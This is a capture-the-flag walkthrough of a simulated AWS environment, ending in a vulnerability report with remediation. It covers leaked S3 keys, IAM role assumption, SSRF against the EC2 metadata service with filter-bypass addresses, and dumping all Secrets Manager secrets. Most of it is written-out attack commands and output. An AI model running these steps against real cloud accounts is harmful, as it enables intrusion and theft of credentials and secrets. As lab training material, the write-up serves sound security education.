About This Fortress
The AWS Fortress is sponsored by Amazon Web Services and models a company's poorly-secured cloud infrastructure. The entire attack chain runs through AWS services — starting from a public S3 bucket leaking IAM keys, through IAM privilege escalation, Server-Side Request Forgery against the EC2 Instance Metadata Service (IMDS), and finally dumping secrets from AWS Secrets Manager.
- All flags formatted as
AWS{...} - No binary exploitation — purely cloud/API based
- Requires AWS CLI and familiarity with IAM policy evaluation
- Each challenge builds on credentials from the previous
Techniques Used
Flag 1 — Open S3 Bucket Enumeration
The fortress presents a web application with AWS resource references in its source code. Begin by enumerating publicly accessible S3 buckets tied to the target company name.
# Check page source for S3 references
$ curl -s http://10.10.110.x/ | grep -i "s3\|amazonaws"
<!-- Assets: https://fortress-aws-public.s3.amazonaws.com/ -->
# List bucket contents without credentials
$ aws s3 ls s3://fortress-aws-public --no-sign-request
2024-01-15 12:33:21 2048 index.html
2024-01-15 12:33:22 512 config.bak
2024-01-15 12:33:23 1024 credentials.json
# Download the credentials file
$ aws s3 cp s3://fortress-aws-public/credentials.json . --no-sign-request
$ cat credentials.json
{
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"region": "us-east-1"
}
Flag 2 — IAM Privilege Escalation via AssumeRole
Configure the leaked keys and enumerate the attached IAM policies. The fortress-dev user has an AssumeRolePolicy allowing it to assume a higher-privileged role.
# Configure the leaked credentials
$ aws configure
AWS Access Key ID: AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Default region name: us-east-1
# Verify identity
$ aws sts get-caller-identity
{
"UserId": "AIDAIOSFODNN7EXAMPLE",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/fortress-dev"
}
# Enumerate attached policies
$ aws iam list-attached-user-policies --user-name fortress-dev
{
"AttachedPolicies": [
{ "PolicyName": "DevEC2ReadOnly" },
{ "PolicyName": "AssumeRolePolicy" }
]
}
# Find assumable roles
$ aws iam list-roles | grep -A2 "fortress-admin"
"RoleName": "fortress-admin-role",
"Arn": "arn:aws:iam::123456789012:role/fortress-admin-role"
# Assume the admin role
$ aws sts assume-role \
--role-arn "arn:aws:iam::123456789012:role/fortress-admin-role" \
--role-session-name pwned
{
"Credentials": {
"AccessKeyId": "ASIAIOSFODNN7TEMP",
"SecretAccessKey": "TempSecret...",
"SessionToken": "FwoGZXIv...",
"Expiration": "2024-01-15T14:00:00Z"
},
"AssumedRoleUser": {
"Arn": "arn:aws:iam::123456789012:assumed-role/fortress-admin-role/pwned"
}
}
export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... to use them in subsequent commands without reconfiguring.Flag 3 — SSRF to EC2 Instance Metadata Service (IMDS)
A web endpoint accepts a url parameter and fetches remote resources server-side. The server runs on an EC2 instance — use the SSRF to reach the Instance Metadata Service at 169.254.169.254 and steal the instance's IAM role credentials.
# Confirm SSRF exists
$ curl "http://10.10.110.x/fetch?url=http://169.254.169.254/latest/meta-data/"
ami-id
hostname
iam/
instance-id
instance-type
...
# List available IAM roles on the instance
$ curl "http://10.10.110.x/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
fortress-ec2-role
# Retrieve temporary credentials for the instance role
$ curl "http://10.10.110.x/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/fortress-ec2-role"
{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAIOSFEC2ROLEKEY",
"SecretAccessKey" : "EC2RoleSecretHere...",
"Token" : "FwoGZX...",
"Expiration" : "2024-01-15T16:00:00Z"
}
PUT 169.254.169.254/latest/api/token with header X-aws-ec2-metadata-token-ttl-seconds: 21600, then pass it via X-aws-ec2-metadata-token on subsequent requests. Some SSRF mitigations block this — try http://[::ffff:169.254.169.254] or decimal IP http://2852039166/ as bypasses.Flag 4 — AWS Secrets Manager Exfiltration
The EC2 instance role has read access to AWS Secrets Manager. Enumerate and dump all stored secrets to retrieve the final flag.
# Use EC2 role credentials
$ export AWS_ACCESS_KEY_ID="ASIAIOSFEC2ROLEKEY"
$ export AWS_SECRET_ACCESS_KEY="EC2RoleSecretHere..."
$ export AWS_SESSION_TOKEN="FwoGZX..."
# List all secrets in Secrets Manager
$ aws secretsmanager list-secrets --region us-east-1
{
"SecretList": [
{ "Name": "fortress/prod/db-password" },
{ "Name": "fortress/prod/api-key" },
{ "Name": "fortress/admin/flag" }
]
}
# Retrieve the flag
$ aws secretsmanager get-secret-value \
--secret-id "fortress/admin/flag" \
--region us-east-1
{
"Name": "fortress/admin/flag",
"SecretString": "AWS{s3cr3ts_m4n4g3r_n0_s0_s3cr3t}"
}
# Bonus: dump other secrets for extra loot
$ aws secretsmanager get-secret-value --secret-id "fortress/prod/db-password" --region us-east-1
{ "SecretString": "FortressDB_P4ss_2024!" }
$ aws secretsmanager get-secret-value --secret-id "fortress/prod/api-key" --region us-east-1
{ "SecretString": "sk_prod_4a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d" }
Summary
| # | Challenge | Service | Technique |
|---|---|---|---|
| 1 | S3 Bucket | Amazon S3 | Public bucket → credential file download |
| 2 | IAM Escalation | AWS IAM / STS | AssumeRole → admin role via over-privileged user |
| 3 | IMDS SSRF | EC2 Metadata | SSRF to 169.254.169.254 → instance role credentials |
| 4 | Secrets Manager | AWS Secrets Manager | EC2 role → list + dump all secrets |
Vulnerability Report
Description
An S3 bucket was configured with public READ access and contained a credentials.json file with valid AWS IAM long-term access keys. No authentication was required to list or download bucket contents.
Impact
Complete initial foothold into the AWS environment — leaked keys enabled IAM enumeration, role assumption, and full Secrets Manager exfiltration. The vulnerability required zero credentials and was exploitable by any internet-facing party.
Remediation
s3-bucket-public-read-prohibited. Rotate any exposed keys immediately. Deploy AWS Macie to detect sensitive data in S3 buckets. Never store long-term IAM credentials in files — use IAM roles instead.Description
A server-side request forgery vulnerability in the URL fetch endpoint allowed reaching the EC2 IMDS at 169.254.169.254. IMDSv1 required no token, exposing instance role credentials with a single unauthenticated HTTP request.
Impact
Stole AWS temporary credentials for the EC2 instance role, enabling access to Secrets Manager and other AWS services attached to that role.
Remediation
aws ec2 modify-instance-metadata-options --instance-id i-xxx --http-tokens required. Block outbound requests to 169.254.169.254 at the application layer. Validate and whitelist allowed URL schemes and hosts in any URL-fetching functionality. Apply least-privilege IAM roles to EC2 instances — the instance role should not have Secrets Manager read access unless explicitly required.